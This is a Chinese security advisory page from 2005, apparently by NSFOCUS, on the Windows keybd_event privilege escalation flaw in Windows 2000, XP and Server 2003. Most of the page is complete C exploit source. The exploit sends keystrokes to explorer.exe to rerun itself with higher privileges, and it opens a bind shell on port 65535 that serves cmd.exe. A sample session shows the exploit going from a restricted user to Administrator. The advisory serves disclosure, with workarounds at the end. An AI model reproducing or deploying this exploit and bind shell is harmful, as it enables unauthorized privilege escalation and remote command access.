首页 -> 安全研究

安全研究

安全漏洞
Microsoft Windows键盘事件权限提升漏洞

发布日期:2005-09-07
更新日期:2005-09-07

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows XP
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
Microsoft Windows 2000
Microsoft Windows
描述:
BUGTRAQ  ID: 14743

Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft Windows中存在权限提升漏洞,攻击者可以通过向以更高权限运行的桌面应用程序(如explorer.exe)发送恶意的键盘事件,导致以目标用户的权限执行任意代码。

起因是桌面应用程序处理通过keybd_event() function函数发送的键盘事件时存在设计错误。在当前的Microsoft安全模式中,共享桌面的应用程序之间可以发送消息,每个桌面应用程序都可以处理同一桌面中执行的每个进程,而任何应用程序都可以通过发送键盘敲击动作模拟虚拟键盘,这就允许每个每个进程都如交互用户那样发送消息和击键动作。



<*来源:Andres Tarasco (aT4r@haxorcitos.com
        Frederic Charpentier (fcharpen@xmcopartners.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112604220032671&w=2
        http://www.haxorcitos.com/MSRC-6005bgs-EN.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* Microsoft Windows keybd_event validation vulnerability.
*          Local privilege elevation
*
* Credits:    Andres Tarasco ( aT4r _@_ haxorcitos.com )
*             I馻ki Lopez    ( ilo _@_ reversing.org )
*
* Platforms afected/tested:
*
*     - Windows 2000
*     - Windows XP
*     - Windows 2003
*
*
* Original Advisory: http://www.haxorcitos.com
*                    http://www.reversing.org  
*
* Exploit Date: 08 / 06 / 2005
*
* Orignal Advisory:
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Attack Scenario:
*
* a) An attacker who gains access to an unprivileged shell/application executed
* with the application runas.
* b) An attacker who gains access to a service with flags INTERACT_WITH_DESKTOP
*
* Impact:
*
* Due to an invalid keyboard input validation, its possible to send keys to any
* application of the Desktop.
* By sending some short-cut keys its possible to execute code and elevate privileges
* getting loggued user privileges and bypass runas/service security restriction.
*
* Exploit usage:
*
* C:\>whoami
* AQUARIUS\Administrador
*
* C:\>runas /user:restricted cmd.exe
* Enter the password for restricted:
* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
*
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>cd \
*
* C:\>whoami
* AQUARIUS\restricted
*
* C:\>tlist.exe |find "explorer.exe"
* 1140 explorer.exe      Program Manager
*
* C:\>c:\keybd.exe 1140
* HANDLE Found. Attacking =)
*
* C:\>nc localhost 65535
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\>whoami
* whoami
* AQUARIUS\Administrador
*
*
* DONE =)
*
*/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
    DWORD hwndid;
    int i;


    GetWindowThreadProcessId(hwnd,&hwndid);

    if (hwndid == pid){
    /*
      Replace keybd_event with SendMessage() and PostMessage() calls
    */
        printf("HANDLE Found. Attacking =)\n");
        SetForegroundWindow(hwnd);
        keybd_event(VK_LWIN,1,0,0);
        keybd_event(VkKeyScan('r'),1,0,0);
        keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
        keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
        for(i=0;i<strlen(buf);i++) {
            if (buf[i]==':') {
                keybd_event(VK_SHIFT,1,0,0);
                keybd_event(VkKeyScan(buf[i]),1,0,0);
                keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
                keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
            } else {
                if (buf[i]=='\\') {
                    keybd_event(VK_LMENU,1,0,0);
                    keybd_event(VK_CONTROL,1,0,0);
                    keybd_event(VkKeyScan('&#65533;'),1,0,0);
                    keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VkKeyScan('&#65533;'),1,KEYEVENTF_KEYUP,0);
                } else {
                    keybd_event(VkKeyScan(buf[i]),1,0,0);
                    keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
                }
            }
        }
        keybd_event(VK_RETURN,1,0,0);
        keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
        exit(1);
    }
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

    SOCKET                s,s2;
    STARTUPINFO            si;
        PROCESS_INFORMATION         pi;
    WSADATA                HWSAdata;
    struct                sockaddr_in sa;
    int                    len;

    if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
    if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ exit(1); }

    sa.sin_family        = AF_INET;
    sa.sin_port            = (USHORT)htons(HAXORCITOS);
    sa.sin_addr.s_addr    = htonl(INADDR_ANY);
    len=sizeof(sa);
    if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { return(-1); }
    if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
    s2 = accept(s,(struct sockaddr *)&sa,&len);
    closesocket(s);

    ZeroMemory( &si, sizeof(si) );  ZeroMemory( &pi, sizeof(pi) );
    si.cb            = sizeof(si);
    si.wShowWindow  = SW_HIDE;
    si.dwFlags        =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdInput    = (void *) s2; // SOCKET
    si.hStdOutput    = (void *) s2;
    si.hStdError    = (void *) s2;
    if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) {
        doFormatMessage(GetLastError());
        return(-1);
    }

    WaitForSingleObject( pi.hProcess, INFINITE );
    closesocket(s);
    closesocket(s2);
    printf("SALIMOS...\n");
    Sleep(5000);
    return(1);


}
/**************************************************************/
void main(int argc, char* argv[])
{
    HWND console_wnd = NULL;
    
    if (argc >= 2) {
        pid = atoi (argv[1]);
        strncpy(buf,argv[0],sizeof(buf)-1);
        EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
    } else {
        BindShell();
    }
}
/**************************************************************/

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 仅允许可信任的应用程序运行为可访问桌面的服务。
* 不要在生产环境中使用runas服务。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:8569
严重程度:12(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障